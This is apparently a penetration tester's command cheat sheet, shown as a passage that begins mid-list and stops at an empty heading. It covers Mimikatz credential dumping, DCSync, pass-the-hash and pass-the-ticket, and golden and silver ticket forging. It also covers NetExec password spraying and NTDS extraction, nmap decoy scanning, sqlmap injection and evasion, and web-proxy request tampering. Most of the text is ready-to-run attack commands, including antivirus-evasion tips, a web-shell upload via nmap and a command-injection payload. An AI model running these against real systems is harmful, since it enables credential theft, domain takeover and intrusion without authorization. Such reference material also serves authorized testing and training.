• Ticket Files: Exported Kerberos tickets use .kirbi format
• Domain Syntax: Use “.” for domain when targeting local machine accounts

Basic Usage & Privilege Escalation

# Launch Mimikatz (via SMB share)
\\tsclient\share\mimikatz.exe

# Enable debug privilege (required for most operations)
privilege::debug

# Elevate token to SYSTEM
token::elevate

# Write to console in bae64 (avoid AV flagging)
base64 /out:true

# Write output to a logfile (flagged by AV!)
log <LOGFILE>.txt 

Credential Dumping

LSASS Memory (sekurlsa)

Dump All Credentials:

# VERBOSE: Dumps credentials from all providers (Kerberos, WDigest, MSV, etc.)
sekurlsa::logonpasswords

Dump WDigest Plaintext Credentials:

# Plaintext creds if WDigest is enabled (older systems or manually enabled)
sekurlsa::wdigest

Dump Specific Hash Types:

# Dumps only LM/NTLM hashes
sekurlsa::msv

Export Kerberos Tickets:

# Avoid AV flagging
base64 /out:true

# Export Kerberos Tickets (TGT/TGS) to disk
sekurlsa::tickets /export
# $ : machine tickets (computers)
# @ : service tickets (users)

Extract AES Keys:

# Extract AES Keys for Pass the Key attacks
sekurlsa::ekeys

SAM Database

# Dumps local SAM database (local user hashes)
lsadump::sam

LSA Secrets

# Patches LSASS to dump LSA policy data/hashes
lsadump::lsa /patch

# Dumps LSA secrets from registry (autologon, service account passwords, etc.)
lsadump::secrets

# Dumps cached domain logon hashes (DCC2)
lsadump::cache

Dump Specific Account:

# Dump specific account (e.g., KRBTGT for Golden Ticket)
lsadump::lsa /inject /name:krbtgt

DCSync

Might require runas.

# Specific user
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER>

# For KRBTGT
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgt

# All users
# WARNING: takes a long time... write output to a file!
log dc_sync.txt
lsadump::dcsync /domain:<DOMAIN> /all

Pass the Hash (PtH)

Pass the Hash allows you to authenticate using an NTLM hash instead of a plaintext password.

# Use "." for domain if targeting local machine
# IMPORTANT: Run commands inside the NEW window that pops up
sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe

Alternative Syntax:

sekurlsa::pth /domain:<DOMAIN> /user:<USER> /ntlm:<HASH> /run:cmd.exe

Pass the Key (PtK) / OverPass the Hash (OtH)

Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.

Extract AES Keys First:

sekurlsa::ekeys

Pass the Key with AES:

# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.
# Can use /ntlm, /aes128, or /aes256
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe

Pass the Ticket (PtT)

Pass the Ticket allows you to use stolen Kerberos tickets to authenticate as another user.

Export Tickets:

# Export tickets from memory to .kirbi files
sekurlsa::tickets /export

Inject Ticket:

# Inject ticket into current session
kerberos::ptt <TICKET_FILE.kirbi>
misc::cmd
exit

Golden & Silver Ticket Attack

A Golden Ticket is a forged Kerberos TGT that allows you to impersonate any user in the domain, including domain administrators.

A Silver Ticket is a forged Kerberos TGS that allows you to impersonate any user on a single machine.

Step 1: Get KRBTGT Hash & SID

Method A (On DC):

lsadump::lsa /inject /name:krbtgt

Method B (Remote DCSync):

lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

Step 2: Create & Inject Ticket

• /ptt - This flag tells Mimikatz to inject the ticket directly into the session, meaning it is ready to be used.
• /endin - The ticket lifetime. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 10 hours (600 minutes)
• /renewmax - The maximum ticket lifetime with renewal. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 7 days (10080 minutes)
• /user: can use any value including non-existent users

# GOLDEN TICKET
kerberos::golden /ptt /id:500 /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<NTLM>

# SILVER TICKET
kerberos::golden /ptt /id:500 /user:Administrator /domain:<DOMAIN> /sid:<SID> /service:cifs /target:<MACHINE_FQDN> /rc4:<MACHINE_HASH> 

Step 3: Launch Shell

# OPTIONAL: Launch shell or exit and use the current shell since /ptt was used
misc::cmd  # this only works via RDP
exit

# Verify ticket is working by reading DC share
dir \\<DC_FQDN>\c$\

Credential Manager

Dump credentials stored in Windows Credential Manager:

sekurlsa::credman

DPAPI (Data Protection API)

Decrypt data protected by Windows DPAPI, such as browser credentials:

dpapi::chrome /in:"C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

Netexec

• https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol
  • Logs: ~/.nxc/logs/
• Cheatsheet: https://gist.github.com/strikoder/99635df00444bbf5fc90ca83ec8051a0

NOTES:

• by default, netxec attempts to authenticate with passwords or hashes at the domain level… use --local-auth to force local authentication, since sometimes passwords and usually hashes are different at these levels
• (Pwn3d!) for valid creds means an Administrator account

Netexec (formerly CrackMapExec) is a swiss army knife for pentesting networks that helps automate assessing the security of large networks in AD environments. Netexec uses secretsdump libraries under its hood, so it is the preferred tool for network enumeration (though secretsdump is still great for offline hash extraction or targeted actions)

Protocol Selection

Netexec supports multiple protocols. Check available services with:

nxc -h

Common protocols include:

• mssql               own stuff using MSSQL
  

• winrm               own stuff using WINRM
  

• ldap                own stuff using LDAP
  

• smb                 own stuff using SMB
  

• ssh                 own stuff using SSH
  

• vnc                 own stuff using VNC
  

• wmi                 own stuff using WMI
  

• ftp                 own stuff using FTP
  

• rdp                 own stuff using RDP
  

• And sometimes more…

Password Policy Enumeration

Enumerate password policy information via SMB:

# Anonymous password policy enumeration
nxc smb <TARGET> --pass-pol

# Authenticated password policy enumeration
nxc smb <TARGET> -u <USER> -p <PASS> --pass-pol

User Enumeration

Enumerate Users

# Enumerate users via SMB (anonymous or authenticated)
nxc smb <TARGET> --users

# Authenticated user enumeration
nxc smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --users

Enumerate Groups

# Enumerate groups
nxc smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --groups

# Find high value users (e.g., Domain Admins)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"

Share Enumeration

# List available shares
nxc smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --shares

# List all files
nxc smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" -M spider_plus --share "Departments Shares"
cat /tmp/nxc_spider_plus/*.json | python3 -m json.tool

Password Spraying

Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!

Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.

# Check nxc -h for services
# Password spraying (many users vs 1 password)
nxc smb <TARGET> -u <USERS> -p <PASSWORD> | grep '+'

# Local authentication (tries local authentication instead of domain authentication)
# Mitigated with: https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview
nxc smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'

Pass the Hash (PtH)

Netexec supports pass-the-hash attacks for lateral movement:

# Target can also be a subnet (CIDR)
# -d . = Local Account | -d <DOMAIN> = Domain Account
# --local-auth forces local check if implied domain fails
# :<PASS_HASH> implies empty LM hash (LM:NT)
nxc smb <TARGET> -u <USER> -d . -H <PASS_HASH> --local-auth

# Domain account with hash
nxc smb <TARGET> -u <USER> -d <DOMAIN> -H <PASS_HASH>

Credential Dumping

LSA Secrets

Remotely dump LSA secrets from a target:

# Dump LSA secrets remotely
nxc smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --lsa

SAM Database

Remotely dump SAM database secrets:

# Dump SAM secrets remotely
nxc smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --sam

Active Directory Operations

NTDS Extraction

• https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-ntds.dit
• NOTE: this can sometimes crash the DC:
  • https://github.com/Pennyw0rth/NetExec/discussions/329#discussioncomment-9594340

# Extract NTDS.dit using ntdsutil module (copies NTDS.dit then parses it)
nxc smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutil

To dump one account instead of the full database, add --ntds --user <USER>:

# Dump a specific user only (NTDS hash extraction scoped to one account)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user Administrator
nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user krbtgt

LDAP Operations

Admin Count Enumeration

Find high-value users with adminCount=1 (includes Domain Admins, Enterprise Admins, Backup Operators, etc.):

# Enumerate users with adminCount=1 via LDAP
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count

Command Execution

Sudo is REQUIRED because these operations act as a server/listener.

# cmd.exe
sudo nxc smb <TARGET> -u <USER> -p <PASSWORD> -x '<COMMAND>'

# PowerShell
sudo nxc smb <TARGET> -u <USER> -p <PASSWORD> -X '<COMMAND>'

Modules

• https://www.netexec.wiki/getting-started/using-modules

# Show modules for protocol
nxc <PROTOCOL> -L

# Show more info for module
nxc <PROTOCOL> <MODULE> --options

# Set modules options
# NOTE: SPACE BETWEEN MODULES
nxc <PROTOCOL> <MODULE> -o <MOD_KEY>=<MOD_VALUE> <MOD_KEY>=<MOD_VALUE>,...

# spider_plus: Download all shares except the excluded defaults; max file size 10MB
nxc smb <TARGET> -u <USER> -p <PASS> -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=$HOME/nxc_spider MAX_FILE_SIZE=$((1024 * 1024 * 10)) EXCLUDE_FILTER='admin$,c$,ipc$,NETLOGON,SYSVOL'

Nmap

• nmap grep: https://github.com/leonjza/awesome-nmap-grep

Scanning

• Open - received TCP SYN-ACK
• Closed - received TCP RST
• Filtered - no response
• Unfiltered - (with -sA TCP ACK scans) can’t determine the state, but the port is accessible
• Open/Filtered - can’t tell if the port is open or blocked by a firewall
• Closed/Filtered - (with -sI IP ID idle scan) can’t tell if the port is closed or blocked by a firewall

# Host Discovery
sudo nmap --open -oA host_discovery_simple.txt -iL scope.txt 

# NOTE: this is optimized for labs:
# -T4 --max-rtt-timeout 150ms --min-parallelism 100 --min-rate 1000 --max-retries 1
sudo nmap -n -sn -v --stats-every 30s -PS445,80,443,3389,135,5985,22,8080,111 -oA host_discovery.txt -iL scope.txt -T4 --max-rtt-timeout 150ms --min-parallelism 100 --min-rate 1000 --max-retries 1

---

awk '/Up$/{print $2}' host_discovery.txt > live_hosts.txt

For “ghost hosts” consider: -PU137,138,161,53,67,123,500,4500 to scan UDP (though very slow)

• TCP Full-Scan (3-way handshake): https://github.com/bee-san/RustScan
• TCP Half-Scan (SYN): https://github.com/robertdavidgraham/masscan

# All ports (TCP Full Scan)
rustscan -a live_hosts.txt --ulimit 5000 -- -sC -sV -v --stats-every 30s -oA nmap_rustscan_all_ports

# Massive network (SYN Half Scan)
sudo masscan --rate 1000 -p1-65535 -iL live_hosts.txt -oL masscan.txt -e <INTERFACE> 
PORTS=$(awk '/open/ {print $3}' masscan.txt | sort -u | paste -sd, -)
sudo nmap --stats-every 30s -sS -sV -sC -v -p$PORTS -oA nmap_masscan_all_ports <TARGET>

# UDP
sudo nmap -sU -sV --top-ports 100 -v -oA nmap_top100_udp <TARGET>

# Find Live Hosts
sudo nmap -n -sn --reason -oA host_disc <TARGET>
# Create list
grep 'Status: Up' host_disc.gnmap | awk '{print $2}' | tee live_hosts.txt
# Scan normally w/ list
sudo nmap -n -Pn -sS -sV -sC --reason --top-ports=1000 -oA host_disc_live -iL live_hosts.txt
# Trace packet (MORE INFO)
sudo nmap -n -Pn -sS --packet-trace --disable-arp-ping -p <PORT> <TARGET>

# TCP Full-Connect (3-way handshake)
sudo nmap -n -Pn -sT -sV -sC --reason <TARGET>

# UDP (normally no response)
sudo nmap -n -Pn -sU -sV -sC --reason --top-ports=100 <TARGET>

# Create HTML reports from nmap XML scan
# https://nmap.org/book/output.html
xsltproc <SCAN_FILE>.xml -o <OUTPUT>.html

# SPAM: scan using multiple IP addresses
sudo nmap -n -Pn --max-retries=1 --source-port <SRC_PORT> -D RND:5 <TARGET>

# --max-retries <ATTEMPTS>
# -T <AGGRESSION_1_5>
# --packet-trace
# --reason
# --disable-arp-ping
# --top-ports=<NUM>
# --script <SCRIPT>
# -g <SRC_PORT>
# --dns-server <NAMESERVER>

Static nmap

• https://github.com/andrew-d/static-binaries/tree/master/binaries

A static nmap will not be able to perform -sC/--script nor -sV and there might be some issues with -O OS detection.

-sT, -sS (root), and -sV should be fine

wget https://github.com/andrew-d/static-binaries/raw/refs/heads/master/binaries/linux/x86_64/nmap

scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null nmap <USER>@<TARGET>:/tmp/

chmod +x nmap
./nmap -n -Pn -sT --stats-every 15s -vvv <TARGET_SUBNET>

Nmap Scripting Engine (NSE)

The Nmap Scripting Engine (NSE) extends Nmap’s functionality with custom scripts for vulnerability detection, service enumeration, and exploitation.

Reference: NSE Usage Guide

How to Use NSE

Basic Usage:

• -sC - Run a set of popular, common scripts
• --script - Run specific scripts by name, category, or file path
• --script-help - Show arguments for --script-args

Advanced Usage:

• Combine scripts with wildcards: --script "smb-*,http-*"
• Use comprehensive documentation: NSE Script Database
• Search for scripts: grep "ftp" /usr/share/nmap/scripts/script.db

# --script-trace : trace script scans
nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' -oA nmap_http_put <TARGET>

Script Categories

Location: /usr/share/nmap/scripts

• https://nmap.org/nsedoc/scripts/

Install New NSE Script

sudo wget --output-file /usr/share/nmap/scripts/<SCRIPT>.nse \
    https://svn.nmap.org/nmap/scripts/<SCRIPT>.nse

nmap --script-updatedb

SQLmap

• https://github.com/sqlmapproject/sqlmap/wiki/Usage
  • use the “Enumeration” section once finding vuln points
• Logs: ~/.local/share/sqlmap/output/<TARGET>

Core Flags

Workflow

NOTE: Don’t rely on sqlmap to crawl or guess…

Capture the exact request via:

• a web proxy, save it to a file, and feed it to sqlmap
• browser Web Developers Tools as a cURL command, then change curl to sqlmap and add any additional options like --forms

# WEB PROXY: Capture request > Save > 'request.txt'
sqlmap --batch -r request.txt

---

# Auto-parse HTML forms (if no proxy)
sqlmap --forms --batch -u "<URL>"

# Spider the site to find parameters
sqlmap --crawl=3 --batch -u "<URL>"

# (REST/JSON) Manual injection point -- use '*' where to inject
sqlmap --batch -u "http://target.com/api/v1/user/105*"

By default sqlmap prioritizes speed: level 1 only tests GET (URL) and POST (body). It does not test cookies or headers unless you raise the level.

• -r (request file): Gold standard. Raw HTTP request = exact cookies, JSON, headers; no guessing.
• --forms: Parses the HTML response, finds <form> inputs, and builds POST requests. Without it, a URL that only shows a login form is only tested as GET.
• * marker: For REST (e.g. /user/105) or when the injection point isn’t a normal param, put * at the value to test: sqlmap -u "http://target/item/12*" — sqlmap injects at 12.

Techniques (BEUSTQ)

Try the simpler/faster techniques first to find easy wins, but

NOTE: remember this will miss techniques!

sqlmap --technique=BEU

Union-based

Combine two queries to dump data directly into the response. Count the displayed columns (and maybe iteratively increase columns amount)

sqlmap -u "<URL>" --technique=U --union-cols=5

Error-based

Trigger DB errors that leak data inside the error message.

sqlmap -u "<URL>" --technique=E

Blind Boolean

Infer data from whether the page content or behaviour changes (true vs false).

NOTE: careful this is a very unstable method that might require multiple runs or --no-cast

sqlmap -u "<URL>" --technique=B --level 5 --risk 3

Blind Time

Infer data from response delays (e.g. SLEEP) when the condition is true.

sqlmap -u "<URL>" --technique=T

Stacked queries

Append extra SQL statements after the vulnerable one (e.g. INSERT/UPDATE/DELETE or OS commands); requires DB support (e.g. MSSQL, PostgreSQL).

sqlmap -u "<URL>" --technique=S

Inline queries

Query embedded inside the original query; uncommon and app-dependent.

sqlmap -u "<URL>" --technique=Q

Out-of-band

Exfiltrate via DNS or HTTP to a server you control when no output is visible.

sqlmap -u "<URL>" --dns-domain=<DOMAIN>

Troubleshooting

• JSON/XML / APIs: sqlmap may not detect parameters automatically. Use -r with a captured request or raise --level.
• Headers & cookies: Level 1 ignores them. --level 2 = cookies; --level 3 = User-Agent/Referer; --level 5 = Host.
• CSRF tokens: If the form needs a fresh token per request, replay fails. Use --csrf-token="csrf_token_name" or --csrf-url.

# Show DBMS errors
sqlmap -u "http://target.com/vuln.php?id=1" --batch --parse-errors

# Log traffic to file
sqlmap -u "http://target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt

# Verbose (e.g. level 6)
sqlmap -u "http://target.com/vuln.php?id=1" -v 6 --batch

# Via Burp
sqlmap -u "http://target.com/vuln.php?id=1" --batch --proxy http://127.0.0.1:8080

Attack Tuning & Escalation

“Silver Bullet” Commands

When default sqlmap fails to find an injection, match your scenario to one of these three archetypes.

Archetype A: The Logic/Bracket Failure (OR Payloads) Use when AND logic fails, or the query uses heavily nested parentheses (((...))).

• * tells SQLMap to replace the parameter entirely (creates a clean True/False baseline).
• --risk 3 enables OR payloads.
• --level 5 tests maximum combinations of closing brackets/quotes.

sqlmap -u "http://<TARGET>/case5.php?id=*" --level 5 --risk 3 -T <TABLE> --dump --batch

Archetype B: The Custom Boundary (Manual Prefix) Use when you manually found the syntax breaker in Burp (e.g., )), but SQLMap isn’t guessing it.

• --prefix forces SQLMap to inject the exact closing syntax before its payload.

sqlmap -u "http://<TARGET>/case6.php?col=id" --prefix='`)' --dump --batch

Archetype C: The Union Structure Failure Use when SQLMap detects a parameter but fails to extract data via UNION.

• --technique=U forces UNION-based SQLi (saves time).
• --union-cols=5 tells SQLMap exactly how many columns exist (find this manually with ORDER BY 5 in Burp).

sqlmap -u "http://<TARGET>/case7.php?id=1" --technique=U --union-cols=5 --dump --batch

Advanced Tuning

When SQLMap is hallucinating data or failing to distinguish True/False pages, use these flags to fix its baseline.

Evasion & Protections Bypass

Application Logic & Request

Network & Protocol Evasion

Tamper Scripts

Tamper scripts use Python to rewrite the SQL payload before it is sent to the target. They can be chained by comma-separating them (e.g., --tamper=space2comment,randomcase).

• Official Repository: github.com/sqlmapproject/sqlmap/tree/master/tamper
• List locally: sqlmap --list-tampers

Database Enumeration

OS Exploitation Options

tmux

• Ippsec Tmux Video Tutorial
• Ippsec Tmux Cheat Sheet

Install and Setup

Install Tmux Plugin Manager (TPM):

sudo apt install -y tmux xclip
mkdir -p ~/my_data/
cat > ~/.tmux.conf <<'EOF'
set -g history-limit 50000
set -g mouse on
set -g @logs_dir "$HOME/my_data/tmux_logs"
run-shell 'mkdir -p "#{@logs_dir}"'
set-hook -g after-new-session 'pipe-pane -o "cat >> #{@logs_dir}/$(date +%Y%m%d-%H%M%S)-#{session_name}-#{window_index}-#{pane_index}.log"'
set-hook -g after-new-window 'pipe-pane -o "cat >> #{@logs_dir}/$(date +%Y%m%d-%H%M%S)-#{session_name}-#{window_index}-#{pane_index}.log"'
set-hook -g after-split-window 'pipe-pane -o "cat >> #{@logs_dir}/$(date +%Y%m%d-%H%M%S)-#{session_name}-#{window_index}-#{pane_index}.log"'
set-hook -g session-created 'run-shell "tmux list-panes -s -F \"#{pane_id}\" | xargs -I{} tmux pipe-pane -t {} -o \"cat >> #{@logs_dir}/$(date +%Y%m%d-%H%M%S)-restored-{}.log\""'
set -g @plugin 'tmux-plugins/tpm'
set -g @plugin 'tmux-plugins/tmux-sensible'
set -g @plugin 'tmux-plugins/tmux-sessionist'
set -g @plugin 'tmux-plugins/tmux-pain-control'
# set -g @plugin 'tmux-plugins/tmux-resurrect'
set -g @plugin 'tmux-plugins/tmux-continuum'
set -g @plugin 'tmux-plugins/tmux-yank'
set -g @plugin 'sainnhe/tmux-fzf'
set -g @plugin 'christoomey/vim-tmux-navigator'
set -g @plugin 'catppuccin/tmux'
set -g @continuum-restore 'on'
set -g @continuum-save-interval '15'
set -g @resurrect-capture-pane-contents 'on'
set -g @resurrect-strategy-vim 'session'
set -g @catppuccin_flavour 'mocha'
set -g @catppuccin_window_status_style "rounded"
set -g status-right "#{E:@catppuccin_status_session} #{E:@catppuccin_status_host}"
run '~/.tmux/plugins/tpm/tpm'
EOF
[ ! -d ~/.tmux/plugins/tpm ] && git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm
export TMUX_PLUGIN_MANAGER_PATH="$HOME/.tmux/plugins/"
tmux start-server
tmux new-session -d
$TMUX_PLUGIN_MANAGER_PATH/tpm/bin/install_plugins
tmux kill-server
printf '\n[ -z "$TMUX" ] && exec tmux\n' >> ~/.bashrc
printf '\n[ -z "$TMUX" ] && exec tmux\n' >> ~/.zshrc

Tmux Core Hotkeys

Default Prefix: CTRL+B

Tmux Logging Hotkeys

Note: Logging is enabled by default in this config via pipe-pane, with one timestamped file per pane in ~/.tmux/logs/ (format: YYYYmmdd-HHMMSS-session-window-pane.log). The plugin hotkeys below are still useful for manual/retroactive captures. See docs for changing plugin logging options.

Web proxy tools (OWASP ZAP & Burp Suite)

WIP: currently this is AI slop distilled from handouts

Quick reference: hotkeys

Same action, side by side for both tools.

Tool-agnostic overview

Setting up

Concept (tool-agnostic):
Both tools run on Windows, macOS, and Linux. They are pre-installed on common PT distros (e.g. Parrot, Kali) and on PwnBox (dock or top bar). Both require a Java Runtime Environment (JRE); installers usually bundle it. For custom VMs you can use installers or the cross-platform JAR and run with java -jar <path/to/tool.jar>. Choose a temporary project/session for short engagements; use a saved project/session when you need to persist progress (e.g. large apps or long-running scans).

Burp Suite

• Download: Burp Download Page — installers for Windows, Linux, macOS, or JAR for any OS with JRE.
• Launch: From terminal run burpsuite, or from the application menu. JAR: java -jar </path/to/burpsuite.jar> (or double-click).
• First run: Create a project → choose Temporary project (Community Edition only supports temporary; Pro/Enterprise can save to disk or open existing). Then choose Use Burp Defaults (or load a config file if you have one) → Start Burp.
• Dark theme: Burp → Settings → User interface → Display → set Theme to Dark.

OWASP ZAP

• Download: ZAP Download Page — installers per OS or cross-platform JAR.
• Launch: From terminal run zaproxy, or from the application menu. JAR: java -jar <path/to/zap.jar> (or double-click).
• First run: When asked about persisting the session, choose not to persist for a temporary session (or pick timestamp/name if you need to save). Then continue to proxy setup.
• Dark theme: Tools → Options → Display → set Look and Feel to Flat Dark.

Proxy setup

Concept (tool-agnostic):
Use the tool as a web proxy so all browser (or app) traffic goes through it. You can inspect requests/responses, intercept and modify them, and replay them with changes to see how the app behaves. Either use the tool’s pre-configured browser (proxy + CA cert already set) or configure your own browser (e.g. Firefox) to use the proxy and install the tool’s CA certificate so HTTPS works without repeated “accept” prompts.

Pre-configured browser

Fastest option: proxy and CA are already set; traffic is routed automatically.

Burp Suite
Proxy → Intercept → click Open browser. Burp’s embedded browser opens with traffic routed through Burp.

OWASP ZAP
Click the Firefox icon at the end of the top bar. Opens the browser chosen in the Quick Start tab, pre-configured to proxy through ZAP.

Manual proxy (e.g. Firefox)

Both tools listen on port 8080 by default. Use the same port in the browser. If the port is in use, the proxy will not start (you’ll see an error).

• Change listening port:
  • Burp: Proxy → Proxy settings → Proxy listeners
  • ZAP: Tools → Options → Network → Local Servers/Proxies
• Firefox: Set proxy in Preferences to 127.0.0.1 and the chosen port, or use FoxyProxy (e.g. on PwnBox it’s pre-installed): FoxyProxy icon → Options → Add → IP 127.0.0.1, port 8080, name e.g. Burp or ZAP → Save. Then use the FoxyProxy icon to switch to Burp/ZAP. (FoxyProxy can be installed from the Firefox add-ons page.)

Installing the CA certificate

Required for HTTPS to work cleanly through the proxy (otherwise traffic may fail or you’ll have to accept warnings repeatedly).

Burp Suite
With Burp set as the proxy in the browser, go to http://burp and click CA Certificate to download it.

OWASP ZAP
Tools → Options → Network → Server Certificates → Save to export the CA cert (or Generate to create a new one), then use the saved file.

Firefox (install cert):
Open about:preferences#privacy → scroll down → View Certificates → Authorities tab → Import → select the downloaded CA file → check Trust this CA to identify websites and Trust this CA to identify email users → OK.

After proxy + CA are set, all Firefox traffic will go through the web proxy.

Intercepting and manipulating web requests

Concept (tool-agnostic):
With the proxy running, you can intercept HTTP requests so they pause in the tool instead of going straight to the server. You can inspect and edit the request (headers, parameters, body), then forward it. The server sees your modified request; the response helps you test for issues the UI might block (e.g. front-end validation). Use this for testing SQL injection, command injection, upload bypass, authentication bypass, XSS, XXE, error handling, deserialization, and similar web vulnerabilities.
Example: A form may only allow digits in an “IP” field via JavaScript. By intercepting the POST, you can change e.g. ip=1 to ip=;ls; and forward to test for command injection if the backend doesn’t validate.

Intercepting requests

Burp Suite
Proxy → Intercept. Intercept is on by default (button shows “Intercept is on”). Click the button to toggle on/off. With intercept on, open the pre-configured browser and load the target; the request appears in Burp. Use Forward to send it. If multiple requests are queued (e.g. other Firefox traffic), keep clicking Forward until you reach the target request.

OWASP ZAP
Intercept is off by default (toolbar button is green = traffic passes). Click the button to toggle, or use Ctrl+B. With intercept on, load the target in the pre-configured browser; the request appears in the top-right pane. Click Step (next to the red break button) to forward one request.
HUD (Heads Up Display): Click the HUD button at the end of the top menu bar to enable in-browser controls. In the HUD’s left pane, the second button from the top turns request interception on. When a request is intercepted, use Step (one request, then break again) or Continue (forward this and let the rest through). Step is for inspecting each request; Continue when you only care about one. Note: Some browser versions may not support the HUD well. First-time ZAP browser use may show a HUD tutorial (or configuration → Take the HUD tutorial).

Manipulating then forwarding

Edit the intercepted request in the request pane (method, URL, headers, body). Change parameters, add payloads, etc. Then Forward (Burp) or Step / Continue (ZAP) to send it. Check the response in the browser or in the tool to see how the app handled your input.

Intercepting responses

Concept (tool-agnostic):
You can intercept HTTP responses before they reach the browser and edit the HTML/headers. Use this to change how the page looks or behaves: enable disabled fields, show hidden fields, change type="number" to type="text", increase maxlength, etc. That can let you test from the browser without having to send every payload via an intercepted request. For simple cases (just enable disabled or unhide hidden form fields), both tools can do it automatically so you don’t have to intercept and edit by hand.

Enabling response interception

Burp Suite
Proxy → Proxy settings → under Response interception rules enable Intercept Response (and Update Content-Length if needed). With request intercept on, do a full refresh in the browser (e.g. Ctrl+Shift+R); forward the request in Burp, then the response is intercepted. Edit the response (e.g. change type="number" to type="text", maxlength="3" to maxlength="100"), then Forward. The browser receives your modified response.
Automatic unhide: Proxy → Proxy settings → Response modification rules → enable e.g. Unhide hidden form fields so hidden/disabled fields are shown without manually intercepting.

OWASP ZAP
With request intercept on, click Step to send the request; ZAP then intercepts the response. Edit the response in the pane, then Continue to send it to the browser.
HUD — enable/show without intercepting: In the HUD left pane, the third button (light bulb) is Show/Enable: it enables disabled inputs and shows hidden fields in the current page without intercepting the response or refreshing. Use it when you only need to unlock fields, not edit HTML by hand.
HUD — HTML comments: In the HUD left pane click + → Comments to add the Comments control. It shows indicators where HTML comments are; hover to see the comment content (useful for dev notes or hidden hints).

Tip: Use a full page refresh (Ctrl+Shift+R in the browser) when testing so you get a clean request/response cycle.

Automatic modification

Concept (tool-agnostic):
Define match/replace rules so the proxy automatically changes all outgoing requests or all incoming responses without intercepting each one. Use for: replacing headers (e.g. User-Agent to bypass filters), changing response HTML on every load (e.g. type="number" → type="text", maxlength="3" → maxlength="100"), or injecting payloads in request bodies. Rules can use plain text or regex; you choose request header/body or response header/body.

Automatic request modification

Example: Replace the User-Agent header with a custom value (e.g. to bypass User-Agent filters).

Burp Suite
Proxy → Proxy settings → Match and Replace (or HTTP match and replace rules) → Add.

• Type: Request header
• Match: ^User-Agent.*$ (regex for the whole User-Agent line)
• Replace: User-Agent: HackTheBox Agent 1.0
• Regex match: True

Rule is applied to all requests. Verify by intercepting a request and checking the header.

OWASP ZAP
Open Replacer: Ctrl+R or Tools → Options → Replacer (or Replacer in the options menu). Add a rule:

• Description: e.g. HTB User-Agent
• Match Type: Request Header (will add if not present) — or Request Header String for regex
• Match String: User-Agent (or pick from dropdown; use regex in the string if Match Type is Request Header String)
• Replacement String: HackTheBox Agent 1.0
• Enable: True

Initiators tab: choose where the rule applies (default: all HTTP(S) messages). Verify with Ctrl+B (intercept on), then visit a page and check the request.

Automatic response modification

Example: Always change type="number" to type="text" and maxlength="3" to maxlength="100" in responses so the change persists across refreshes without manually intercepting.

Burp Suite
Proxy → Proxy settings → Match and Replace → Add.

• Type: Response body
• Match: type="number"
• Replace: type="text"
• Regex match: False

Add a second rule: Match maxlength="3", Replace maxlength="100", Regex false. Full refresh (Ctrl+Shift+R) in the browser to see the updated page; the field now accepts any input on every load.

OWASP ZAP
Replacer (Ctrl+R) → Add two rules:

1. Match Type: Response Body String. Match Regex: False. Match String: type="number". Replacement String: type="text". Enable: True.
2. Match Type: Response Body String. Match Regex: False. Match String: maxlength="3". Replacement String: maxlength="100". Enable: True.

Refresh the page to verify. You can also add request-body rules (e.g. replace a parameter value with a payload like ;ls; when submitting a specific form) by matching the request body and setting the replacement; use Initiators in ZAP to limit which messages get the rule if needed.

Repeating requests

Concept (tool-agnostic):
Request repeating lets you resend any request that has already gone through the proxy. You edit it (e.g. change a parameter or payload), send it from the tool, and see the response there—no need to intercept again. Use this for repetitive testing (e.g. trying many commands or payloads). Both tools keep a history of requests; you pick one, send it to a repeater / request editor, modify, and Send.

Proxy / HTTP history

Burp Suite
Proxy → HTTP History. Lists all requests that passed through the proxy; use filters and sorting to find the one you want. Click a request to see full request and response. If the request was edited during intercept, the pane header shows Original Request; switch to Edited Request to see what was actually sent.
Note: Proxy → WebSockets history for WebSocket traffic (advanced use).

OWASP ZAP
History tab at the bottom (main UI), or in the HUD the bottom History pane. Filters and sorting available. Click a request to view details. ZAP shows the final/modified request only (no separate original vs edited view like Burp).
Note: WebSockets history is available for async/WebSocket connections.

Repeating (Repeater / Request Editor)

Burp Suite
With the request selected in HTTP History (or elsewhere), Ctrl+R sends it to the Repeater tab. Ctrl+Shift+R switches to the Repeater tab. In Repeater: edit the request (headers, body, etc.), click Send; the response appears in the response pane. Right-click the request → Change Request Method to switch between POST/GET without rewriting the whole request.

OWASP ZAP
